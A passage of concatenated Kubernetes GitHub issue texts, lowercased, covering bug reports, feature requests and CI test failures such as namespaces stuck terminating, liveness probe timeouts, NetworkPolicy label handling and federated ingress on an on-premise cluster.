restartpolicy: never\r    \r 4. apply this update:  kubectl apply -f pod.yaml \r 5. the return of  kubectl apply -f pod.yaml  is  the pod \ shell-with-timeout\  is invalid: spec.activedeadlineseconds: invalid value: 90: must be less than or equal to previous value \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :  linux minikube 4.15.0  1 smp mon jul 16 20:23:29 utc 2018 x86_64 gnu/linux \r - install tools: na\r - others: na\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >    \r \r   what happened  :\r i have implemented a high-availability feature using kubernetes pods. the logic i have used to implement the ha is completely proprietary. however, currently kubernetes framework does not provide a callback upon termination of the pods. i am expecting to see a callback that can be registered before creating a pod. when a pod dies, it triggers the callback so that users can take some action.\r \r   what you expected to happen  :\r i would like to do some clean-up activities when a pod terminates  gracefully . this will be similar to a destructor in c++ which gets called when an object goes out of the scope. \r \r   how to reproduce it  as minimally and precisely as possible   :\r it is a feature request thereby no steps necessary to reproduce this issue.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r cri-o job in our ci using kubernetes master tests\r \r   which test s  are failing  :\r \r  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   provisioning should provision storage with mount options\r \r   since when has it been failing  :\r \r since this pr has been merged: https://github.com/kubernetes/kubernetes/pull/69441\r \r   testgrid link  :\r \r link to our job is here:\r \r https://openshift-gce-devel.appspot.com/build/origin-federated-results/pr-logs/pull/kubernetes-sigs_cri-o/1870/test_pull_request_crio_e2e_fedora/1368/\r https://openshift-gce-devel.appspot.com/build/origin-federated-results/pr-logs/pull/kubernetes-sigs_cri-o/1874/test_pull_request_crio_e2e_fedora/1380/\r https://openshift-gce-devel.appspot.com/build/origin-federated-results/pr-logs/pull/kubernetes-sigs_cri-o/1874/test_pull_request_crio_e2e_rhel/1557/\r \r   reason for failure  :\r \r we don't know the reason of the failure but it doesn't seem related to cri-o. it's constantly reproducible also.\r \r   anything else we need to know  :\r \r /cc @jberkus @mkimuram @msau42\r \r <!-- do not edit below this line -->\r 

while reviewing tests in  65829, we realized some unit tests originally set up to test behavior when an alpha gate was enabled, were leaking changes to feature gates out of their packages by attempting to reset them to the old, default, disabled values.\r \r there is a test utility that allows setting a gate to a value and automatically reverting to the original value when the test is complete:\r \r    \r defer utilfeaturetesting.setfeaturegateduringtest t, utilfeature.defaultfeaturegate, features.<featurename>, true|false   \r    \r \r https://github.com/kubernetes/kubernetes/pull/71100 added tests to ensure the packages that were leaving gates changed from their default were fixed\r \r once that merges, we should:\r   convert remaining instances of  defaultfeaturegate.set  and  defaultfeaturegate.setfrommap  in unit tests to  setfeaturegateduringtest \r   add a verification script to ensure no new uses are added in test files and that packages that set features also run the verification test to ensure gates are unmodified on package completion\r   update development/community docs to describe the right way to test feature gates\r \r \r to locate offending files:\r    \r grep -l --include  _test.go -r 'defaultfeaturegate.set' .\r    \r \r to find files calling setfeaturegateduringtest and not deferring calling the resulting function:\r    \r grep  --include  _test.go -r 'setfeaturegateduringtest' . | grep -v defer\r grep  --include  _test.go -r 'setfeaturegateduringtest' . | grep -v \    \ \r    \r \r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r deleting a namespace depends on kubernetes apiservice that's not related to the namespace being deleted, causing namespaces to be stuck in terminating state. \r \r after creating an apiservice for the  custom-metrics-stack-driver-adapter  using the configuration  here  https://github.com/googlecloudplatform/k8s-stackdriver/blob/master/custom-metrics-stackdriver-adapter/deploy/production/adapter.yaml l109-l135 \r \r we see errors on the api-resources.  kubectl api-resources  outputs  \r    \r error: unable to retrieve the complete list of server apis: custom.metrics.k8s.io/v1beta1: the server is currently unable to handle the request, external.metrics.k8s.io/v1beta1: the server is currently unable to handle the request\r    \r \r with the above apiservices in place, when we try to delete any namespace that doesn't depend on the custom-metrics-stack-driver-adapter, we see the namespace stuck in terminating state.\r \r  kubectl delete namespaces test -v=7  outputs\r \r    \r i0327 14:33:01.276392   44598 loader.go:359  config loaded from file /users/lchennupati/.kube/config\r i0327 14:33:01.283087   44598 loader.go:359  config loaded from file /users/lchennupati/.kube/config\r i0327 14:33:01.291720   44598 loader.go:359  config loaded from file /users/lchennupati/.kube/config\r i0327 14:33:01.294907   44598 round_trippers.go:383  get https://..../apis/custom.metrics.k8s.io/v1beta1?timeout=32s\r i0327 14:33:01.294940   44598 round_trippers.go:383  get https://..../apis/external.metrics.k8s.io/v1beta1?timeout=32s\r i0327 14:33:01.294942   44598 round_trippers.go:390  request headers:\r i0327 14:33:01.294951   44598 round_trippers.go:390  request headers:\r i0327 14:33:01.294953   44598 round_trippers.go:393      accept: application/json,  / \r i0327 14:33:01.294958   44598 round_trippers.go:393      accept: application/json,  / \r i0327 14:33:01.294959   44598 round_trippers.go:393      user-agent: kubectl/v1.11.7  darwin/amd64  kubernetes/65ecaf0\r i0327 14:33:01.294963   44598 round_trippers.go:393      user-agent: kubectl/v1.11.7  darwin/amd64  kubernetes/65ecaf0\r i0327 14:33:01.619297   44598 round_trippers.go:408  response status: 503 service unavailable in 324 milliseconds\r i0327 14:33:01.619552   44598 round_trippers.go:408  response status: 503 service unavailable in 324 milliseconds\r i0327 14:33:01.622329   44598 request.go:1144  body was not decodable  unable to check for status : couldn't get version/kind; json parse error: json: cannot unmarshal string into go value of type struct { apiversion string \ json:\\\ apiversion,omitempty\\\ \ ; kind string \ json:\\\ kind,omitempty\\\ \  }\r i0327 14:33:01.622369   44598 cached_discovery.go:77  skipped caching discovery info due to the server is currently unable to handle the request\r i0327 14:33:01.623047   44598 request.go:1144  body was not decodable  unable to check for status : couldn't get version/kind; json parse error: json: cannot unmarshal string into go value of type struct { apiversion string \ json:\\\ apiversion,omitempty\\\ \ ; kind string \ json:\\\ kind,omitempty\\\ \  }\r i0327 14:33:01.623079   44598 cached_discovery.go:77  skipped caching discovery info due to the server is currently unable to handle the request\r i0327 14:33:01.623134   44598 shortcut.go:89  error loading discovery information: unable to retrieve the complete list of server apis: custom.metrics.k8s.io/v1beta1: the server is currently unable to handle the request, external.metrics.k8s.io/v1beta1: the server is currently unable to handle the request\r i0327 14:33:01.625282   44598 round_trippers.go:383  get https://..../apis/custom.metrics.k8s.io/v1beta1?timeout=32s\r i0327 14:33:01.625297   44598 round_trippers.go:390  request headers:\r i0327 14:33:01.625301   44598 round_trippers.go:393      accept: application/json,  / \r i0327 14:33:01.625304   44598 round_trippers.go:393      user-agent: kubectl/v1.11.7  darwin/amd64  kubernetes/65ecaf0\r \r i0327 14:33:01.703872   44598 round_trippers.go:408  response status: 503 service unavailable in 78 milliseconds\r i0327 14:33:01.706370   44598 request.go:1144  body was not decodable  unable to check for status : couldn't get version/kind; json parse error: json: cannot unmarshal string into go value of type struct { apiversion string \ json:\\\ apiversion,omitempty\\\ \ ; kind string \ json:\\\ kind,omitempty\\\ \  }\r i0327 14:33:01.706396   44598 cached_discovery.go:77  skipped caching discovery info due to the server is currently unable to handle the request\r i0327 14:33:01.706475   44598 round_trippers.go:383  get https://.../apis/external.metrics.k8s.io/v1beta1?timeout=32s\r i0327 14:33:01.706486   44598 round_trippers.go:390  request headers:\r i0327 14:33:01.706496   44598 round_trippers.go:393      accept: application/json,  / \r i0327 14:33:01.706506   44598 round_trippers.go:393      user-agent: kubectl/v1.11.7  darwin/amd64  kubernetes/65ecaf0\r i0327 14:33:01.786315   44598 round_trippers.go:408  response status: 503 service unavailable in 79 milliseconds\r i0327 14:33:01.788612   44598 request.go:1144  body was not decodable  unable to check for status : couldn't get version/kind; json parse error: json: cannot unmarshal string into go value of type struct { apiversion string \ json:\\\ apiversion,omitempty\\\ \ ; kind string \ json:\\\ kind,omitempty\\\ \  }\r i0327 14:33:01.788642   44598 cached_discovery.go:77  skipped caching discovery info due to the server is currently unable to handle the request\r i0327 14:33:01.795993   44598 loader.go:359  config loaded from file /users/lchennupati/.kube/config\r i0327 14:33:01.803637   44598 loader.go:359  config loaded from file /users/lchennupati/.kube/config\r i0327 14:33:01.809926   44598 loader.go:359  config loaded from file /users/lchennupati/.kube/config\r i0327 14:33:01.810344   44598 round_trippers.go:383  delete https://..../api/v1/namespaces/lavanya\r i0327 14:33:01.810352   44598 round_trippers.go:390  request headers:\r i0327 14:33:01.810356   44598 round_trippers.go:393      accept: application/json\r i0327 14:33:01.810359   44598 round_trippers.go:393      content-type: application/json\r i0327 14:33:01.810362   44598 round_trippers.go:393      user-agent: kubectl/v1.11.7  darwin/amd64  kubernetes/65ecaf0\r \r i0327 14:33:01.897095   44598 round_trippers.go:408  response status: 409 conflict in 86 milliseconds\r i0327 14:33:01.898961   44598 helpers.go:201  server response object:  {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ operation cannot be fulfilled on namespaces \\\ lavanya\\\ : the system is ensuring all content is removed from this namespace.  upon completion, this namespace will automatically be purged by the system.\ ,\r   \ reason\ : \ conflict\ ,\r   \ details\ : {\r     \ name\ : \ lavanya\ ,\r     \ kind\ : \ namespaces\ \r   },\r   \ code\ : 409\r } \r    \r \r why would deleting a namespace that's not dependent on the  custom.metrics.k8s.io/v1beta1  be stuck in terminating state due to an error from the server api?\r \r \r \r   what you expected to happen  :\r would expect the namespaces that aren't dependent on the apiservices custom.metrics.k8s.io/v1beta1  that have errors  to be deleted immediately.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.7-gke.12\r - cloud provider or hardware configuration: gke\r \r

genericapiserver should have a function to install common flags. people don't have to use it if they don't want to install all of its flags, of course--we should factor it such that it's easy to get the set of flags you want.  e.g., s.installuniversalflags  , s.installetcdstorageflags  , etc  @nikhiljindal

right now the apiserver just logs \ dialing...\  followed by \ dialed in  x time \  regardless of a success or failure. it should probably say that it failed to dial as well as output the error.  https://github.com/kubernetes/kubernetes/blob/master/pkg/ssh/ssh.go l388

is this a bug report or feature request?  :\r \r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r gke\r \r   what happened  :\r \r liveness command probe does not honor  timeoutseconds .\r \r   what you expected to happen  :\r \r i expect the liveness command probe to enter failure state after  timeoutseconds  seconds.\r \r   how to reproduce it  :\r \r  liveness.yaml \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: liveness\r spec:\r   containers:\r   - name: liveness\r     command:  \ /bin/sh\ , \ -c\ , \ while true; do date; sleep 1; done\  \r     image: alpine\r     livenessprobe:\r       exec:\r         command:  \ sleep\ , \ 20\  \r       initialdelayseconds: 5\r       periodseconds: 5\r       timeoutseconds: 2\r    \r    \r kubectl create -f liveness.yaml\r    \r \r   anything else we need to know  :\r \r the pod above lives forever but should be terminated.

what  :   bug report  . \r \r see the error log below,\r \r    \r • failure  100.294 seconds \r  k8s.io  networking iperf  experimental   slow   feature:networking-performance \r /home/dujun/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:695\r   should transfer ~ 1gb onto the service endpoint 1 servers  maximum of 1 clients   it \r   /home/dujun/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/networking_perf.go:154\r \r   may 19 15:48:52.070: failed parsing value bandwidth port from the string '1176527324\r   ' as an integer\r    \r \r \r i assume the output of iperf in my test environment has an extra newline in the value of  bandwidth , that is \r    \r '1176527324\r ' \r    \r \r what about trim the newline in the returned value before parsing it as an integer? especially change this line https://github.com/kubernetes/kubernetes/blob/master/test/e2e/util_iperf.go l100\r \r like,\r \r    \r rawvalue = strings.replace rawvalue, \ \ \ , \ \ , -1 \r value, err := strconv.parseint rawvalue, 10, 64 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when i create a networkpolicy that matches two different pod labels, the resulting netpol only matches the last label\r   what you expected to happen  :\r the resulting networkpolicy should match both labels\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create namespace\r    kubectl create ns policy-demo   \r 2. create netpol:\r    \r kubectl create -f - <<eof\r kind: networkpolicy\r apiversion: networking.k8s.io/v1\r metadata:\r   name: access-nginx\r   namespace: policy-demo\r spec:\r   podselector:\r     matchlabels:\r       run: nginx\r       run: nginx2\r   policytypes:\r   - ingress\r   - egress\r eof\r    \r 3. read created netpol\r    kubectl get netpol access-nginx -npolicy-demo -oyaml   \r 4. verify that the netpol only matches  run: nginx2  but no  run: nginx \r \r   anything else we need to know?  :\r as a workaround, i can do:\r    \r kubectl create -f - <<eof\r kind: networkpolicy\r apiversion: networking.k8s.io/v1\r metadata:\r   name: access-nginx\r   namespace: policy-demo\r spec:\r   podselector:\r     matchexpressions:\r     - {key: run, operator: in, values:  nginx, nginx2 }\r   policytypes:\r   - ingress\r   - egress\r eof\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r    linux rafa-ms-7817 4.10.0-40-generic  44~16.04.1-ubuntu smp thu nov 9 15:37:44 utc 2017 x86_64 x86_64 x86_64 gnu/linux   \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r    \r $ ./hack/update-bazel.sh \r cloning into '/tmp/tmp.tjkuy3llxw/go/src/github.com/kubernetes/repo-infra'...\r remote: counting objects: 848, done.\r remote: total 848  delta 0 , reused 0  delta 0 , pack-reused 848\r receiving objects: 100%  848/848 , 261.63 kib | 6.38 mib/s, done.\r resolving deltas: 100%  385/385 , done.\r cloning into '/tmp/tmp.tjkuy3llxw/go/src/github.com/bazelbuild/rules_go'...\r remote: counting objects: 9243, done.\r remote: compressing objects: 100%  6/6 , done.\r remote: total 9243  delta 0 , reused 0  delta 0 , pack-reused 9237\r receiving objects: 100%  9243/9243 , 2.08 mib | 8.25 mib/s, done.\r resolving deltas: 100%  5975/5975 , done.\r   github.com/bazelbuild/rules_go/go/tools/gazelle/merger\r go/tools/gazelle/merger/fix.go:93:28: too few values in struct initializer\r go/tools/gazelle/merger/merger.go:498:19: too few values in struct initializer\r go/tools/gazelle/merger/merger.go:502:19: too few values in struct initializer\r   github.com/bazelbuild/rules_go/go/tools/gazelle/rules\r go/tools/gazelle/rules/generator.go:196:16: too few values in struct initializer\r go/tools/gazelle/rules/sort_labels.go:30:16: too few values in struct initializer\r !!!  0226 14:06:43  call tree:\r !!!  0226 14:06:43   1: ./hack/update-bazel.sh:34 kube::util::go_install_from_commit ... \r !!! error in /home/mspreitz/go/src/k8s.io/kubernetes/hack/lib/util.sh:487\r   error in /home/mspreitz/go/src/k8s.io/kubernetes/hack/lib/util.sh:487. '  i<3-1  ' exited with status 2\r call stack:\r   1: /home/mspreitz/go/src/k8s.io/kubernetes/hack/lib/util.sh:487 kube::util::go_install_from_commit ... \r   2: ./hack/update-bazel.sh:34 main ... \r exiting with status 1\r !!!  0226 14:06:43  call tree:\r !!!  0226 14:06:43   1: ./hack/update-bazel.sh:34 kube::util::go_install_from_commit ... \r !!! error in /home/mspreitz/go/src/k8s.io/kubernetes/hack/lib/util.sh:472\r   error in /home/mspreitz/go/src/k8s.io/kubernetes/hack/lib/util.sh:472. '  i<3-1  ' exited with status 1\r call stack:\r   1: /home/mspreitz/go/src/k8s.io/kubernetes/hack/lib/util.sh:472 kube::util::go_install_from_commit ... \r   2: ./hack/update-bazel.sh:34 main ... \r exiting with status 1\r    \r \r   what you expected to happen  :\r i expected the update to run successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r checkout.   build/run.sh make .   hack/update-bazel.sh \r \r   anything else we need to know?  :\r i get this in both master and release-1.9.  i tested most carefully in release-1.9  because i am working on a cherry-pick right now .  in particular, i blew away the container and image i had used earlier for building.  before running  hack/update-bazel.sh  i established this state:\r    \r mspreitz@ubu17dev:~/go/src/k8s.io/kubernetes$ docker images\r repository          tag                 image id            created             size\r hello-world         latest              f2a91732366c        3 months ago        1.85kb\r mspreitz@ubu17dev:~/go/src/k8s.io/kubernetes$ docker ps -a\r container id        image               command             created             status              ports               names\r mspreitz@ubu17dev:~/go/src/k8s.io/kubernetes$ \r    \r \r then i ran  build/run.sh make  --- which took a while but eventually completed.  it left me this state:\r    \r mspreitz@ubu17dev:~/go/src/k8s.io/kubernetes$ docker ps -a\r container id        image                                    command                  created             status                      ports               names\r dae3627e1150        kube-build:build-da2f51b002-5-v1.9.2-1   \ chown -r 1000:1000 …\    20 minutes ago      exited  0  17 minutes ago                       kube-build-data-da2f51b002-5-v1.9.2-1\r mspreitz@ubu17dev:~/go/src/k8s.io/kubernetes$ docker images\r repository                            tag                           image id            created             size\r kube-build                            build-da2f51b002-5-v1.9.2-1   b90e5435889f        20 minutes ago      2.18gb\r hello-world                           latest                        f2a91732366c        3 months ago        1.85kb\r gcr.io/google_containers/kube-cross   v1.9.2-1                      ba98259b52f7        3 months ago        1.74gb\r    \r \r after that is when i ran the  hack/update-bazel.sh  that is exhibited at the start of this issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  : commit 77487e4d2e8ebfddd2539544d806f3a17ea61834  current release-1.9 \r - cloud provider or hardware configuration: local vm\r - os  e.g. from /etc/os-release : ubuntu 17.10\r - kernel  e.g.  uname -a  : linux ubu17dev 4.13.0-21-generic  24-ubuntu smp mon dec 18 17:29:16 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r docker 17.12.0-ce\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   / \r   what happened  :\r the e2e test:\r    \r test/e2e/scheduling/limit_range.go:42\r expected error:\r     < errors.statuserror | 0xc421a6dc20>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r             status: \ failure\ ,\r             message: \ pods \\\ pfpod\\\  is forbidden:  minimum cpu usage per container is 50m, but request is 10m., minimum ephemeral-storage usage per container is 100gi, but request is 50gi., minimum memory usage per container is 100mi, but request is 50mi. \ ,\r             reason: \ forbidden\ ,\r             details: {name: \ pfpod\ , group: \ \ , kind: \ pods\ , uid: \ \ , causes: nil, retryafterseconds: 0},\r             code: 403,\r         },\r     }\r     pods \ pfpod\  is forbidden:  minimum cpu usage per container is 50m, but request is 10m., minimum ephemeral-storage usage per container is 100gi, but request is 50gi., minimum memory usage per container is 100mi, but request is 50mi. \r not to have occurred\r test/e2e/scheduling/limit_range.go:146\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/64829/pull-kubernetes-e2e-gce/51281/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/29372/\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r as moby has defined  resources  https://github.com/moby/moby/blob/master/api/types/container/host_config.go l308  as follows :\r \r    \r // resources contains container's resources  cgroups config, ulimits... \r type resources struct {\r \t// applicable to all platforms\r \tcpushares int64  json:\ cpushares\   // cpu shares  relative weight vs. other containers \r \tmemory    int64 // memory limit  in bytes \r \tnanocpus  int64  json:\ nanocpus\   // cpu quota in units of 10<sup>-9</sup> cpus.\r \r \t// applicable to unix platforms\r \tcgroupparent         string // parent cgroup.\r \tblkioweight          uint16 // block io weight  relative weight vs. other containers \r \tblkioweightdevice       blkiodev.weightdevice\r \tblkiodevicereadbps      blkiodev.throttledevice\r \tblkiodevicewritebps     blkiodev.throttledevice\r \tblkiodevicereadiops     blkiodev.throttledevice\r \tblkiodevicewriteiops    blkiodev.throttledevice\r \tcpuperiod            int64            json:\ cpuperiod\            // cpu cfs  completely fair scheduler  period\r \tcpuquota             int64            json:\ cpuquota\             // cpu cfs  completely fair scheduler  quota\r \tcpurealtimeperiod    int64            json:\ cpurealtimeperiod\    // cpu real-time period\r \tcpurealtimeruntime   int64            json:\ cpurealtimeruntime\   // cpu real-time runtime\r \tcpusetcpus           string          // cpusetcpus 0-2, 0,1\r \tcpusetmems           string          // cpusetmems 0-2, 0,1\r \tdevices                devicemapping // list of devices to map inside the container\r \tdevicecgrouprules      string        // list of rule to be added to the device cgroup\r \tdiskquota            int64           // disk limit  in bytes \r \tkernelmemory         int64           // kernel memory limit  in bytes \r \tmemoryreservation    int64           // memory soft limit  in bytes \r \tmemoryswap           int64           // total memory usage  memory + swap ; set  -1  to enable unlimited swap\r \tmemoryswappiness      int64          // tuning container memory swappiness behaviour\r \toomkilldisable        bool           // whether to disable oom killer or not\r \tpidslimit            int64           // setting pids limit for a container\r \tulimits                 units.ulimit // list of ulimits to be set in the container\r \r \t// applicable to windows\r \tcpucount           int64   json:\ cpucount\     // cpu count\r \tcpupercent         int64   json:\ cpupercent\   // cpu percent\r \tiomaximumiops      uint64 // maximum iops for the container system drive\r \tiomaximumbandwidth uint64 // maximum io in bytes per second for the container system drive\r }\r    \r \r now, cri has defined  resources  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l503  as follows :\r \r    \r // linuxcontainerresources specifies linux specific configuration for\r // resources.\r // todo: consider using resources from opencontainers/runtime-spec/specs-go\r // directly.\r message linuxcontainerresources {\r     // cpu cfs  completely fair scheduler  period. default: 0  not specified .\r     int64 cpu_period = 1;\r     // cpu cfs  completely fair scheduler  quota. default: 0  not specified .\r     int64 cpu_quota = 2;\r     // cpu shares  relative weight vs. other containers . default: 0  not specified .\r     int64 cpu_shares = 3;\r     // memory limit in bytes. default: 0  not specified .\r     int64 memory_limit_in_bytes = 4;\r     // oomscoreadj adjusts the oom-killer score. default: 0  not specified .\r     int64 oom_score_adj = 5;\r     // cpusetcpus constrains the allowed set of logical cpus. default: \ \   not specified .\r     string cpuset_cpus = 6;\r     // cpusetmems constrains the allowed set of memory nodes. default: \ \   not specified .\r     string cpuset_mems = 7;\r }\r    \r \r in the meantime, we have defined the interface of updatecontainerresources :\r \r    \r // updatecontainerresources updates containerconfig of the container.\r \trpc updatecontainerresources updatecontainerresourcesrequest  returns  updatecontainerresourcesresponse  {}\r    \r \r as a result , we can only update  resources   https://github.com/kubernetes/kubernetes/blob/02cca1f11a8ae570369540564604d0cde06e0720/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l503   as defined.\r \r so is it necessary to add these resources that are not currently defined or a field like annotations to support more runtimes?  \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r as we know, default podevictiontimeout is 5 minitues and default  notreadytolerationseconds is 300 seconds.  but there are different behaviors between the two features. pods will be evicted after 5m 300s \r when we used the first feature. if we uses toleration, pods will be evicted after 300+40 duration of node being not ready  seconds. it would cause some inconveniences when we upgrade.\r   why is this needed  :\r change  defaultnotreadytolerationseconds from 300 to 260.\r <!-- do not edit below this line -->\r 

we need to add windows-specific tests to cover container lifecycle events\r \r test cases needed for poststart\r test cases needed for prestop\r \r these need to run on windows containers to test that functionality on windows\r \r  /milestone v1.14

in the  readme for the guestbook example  https://github.com/kubernetes/kubernetes/blob/release-1.2/examples/guestbook/readme.md step-one-start-up-the-redis-master , the line  before continuing to the gory details, we also recommend you to read quick walkthrough, thorough walkthough and concept guide.  appears to contain several dead links.

as   http://kubernetes.io/docs/getting-started-guides/ubuntu/  url  introduced, when i run following command:  $ kubernetes_provider=ubuntu ./kube-up.sh  curl in the ubuntu\\download-release.sh can't work correctly, because my k8s is installed in a lan that can't access the internet.  can consider support the following changes: - add a directory named downloads for example in the cluster\\ubuntu\\ - users put the correct releases of flannel etcd kubernetes in the downloads directory before running the kube-up.sh - when running into ubuntu\\download-release.sh, add file eixisted judgment before     curl -l https://github.com/......tar.gz  .if file existed, install k8s with local files in the downloads directory .

based on the conversation in  37822, there is a need to allow to a shared public client for openid connect with no client_secret.\r \r kubectl will need to be updated to allow no value to be set for client_secret.  currently kubectl requires client_secret to be set.

kubefed init  only generates tls certs and keys for authentication with the federation api server. it should also generate basic username/password and tokens to make it easier for clients to communicate with the federation api server.\r \r cc @kubernetes/sig-federation-bugs

is this a request for help?  : yes\r   what keywords did you search in kubernetes issues before filing this one?  : hybrid federated ingress, on-premise ingress\r   is this a bug report or feature request?  : bug report\r   kubernetes version    use  kubectl version  : v1.5.2\r   what happened  : i've got a hybrid federation running on gke with one on-premise cluster:\r    \r c1  host : gke/us-east1-b/v1.6.4\r c2       : gke/asia-east1-b/v1.6.4\r local    : on-premise/v1.6.3\r    \r i'm using google cloud dns as my dns provider. i'm able to create a federated deployment and a federated service, and they are correctly spread across all the clusters. the dns entries for all services replicas are correctly created in my dns zone.\r \r when i create a federated ingress, though, the ingress resource is created in all the clusters, but the on-premise cluster replica never gets an ip address, thus not being able to receive load from the global ip address.\r \r this is the local replica:\r    shell\r clenimar@local:~$ kubectl describe ing \r name:\t\t\tnginx\r namespace:\t\tdefault\r address:\t\t\r default backend:\tnginx:80  192.168.181.52:80,192.168.181.62:80 \r rules:\r   host\tpath\tbackends\r   ----\t----\t--------\r    \t  \tnginx:80  192.168.181.52:80,192.168.181.62:80 \r annotations:\r   first-cluster:\tc1\r events:\t\t\t<none>\r    \r this is a replica running in one gke cluster:\r    shell\r clenimar@gke-us:~$ k describe ing\r name:\t\t\tnginx\r namespace:\t\tdefault\r address:\t\t35.186.232.168\r default backend:\tnginx:80  10.32.0.8:80,10.32.1.8:80 \r rules:\r   host\tpath\tbackends\r   ----\t----\t--------\r    \t  \tnginx:80  10.32.0.8:80,10.32.1.8:80 \r annotations:\r   first-cluster:\tc1\r   backends:\t\t{\ k8s-be-30036--699c6201827491b5\ :\ healthy\ }\r   forwarding-rule:\tk8s-fw-default-nginx--699c6201827491b5\r   target-proxy:\t\tk8s-tp-default-nginx--699c6201827491b5\r   url-map:\t\tk8s-um-default-nginx--699c6201827491b5\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t-------\r   7m\t\t7m\t\t1\t{loadbalancer-controller }\t\t\tnormal\t\tadd\tdefault/nginx\r   6m\t\t6m\t\t1\t{loadbalancer-controller }\t\t\tnormal\t\tcreate\tip: 35.186.232.168\r   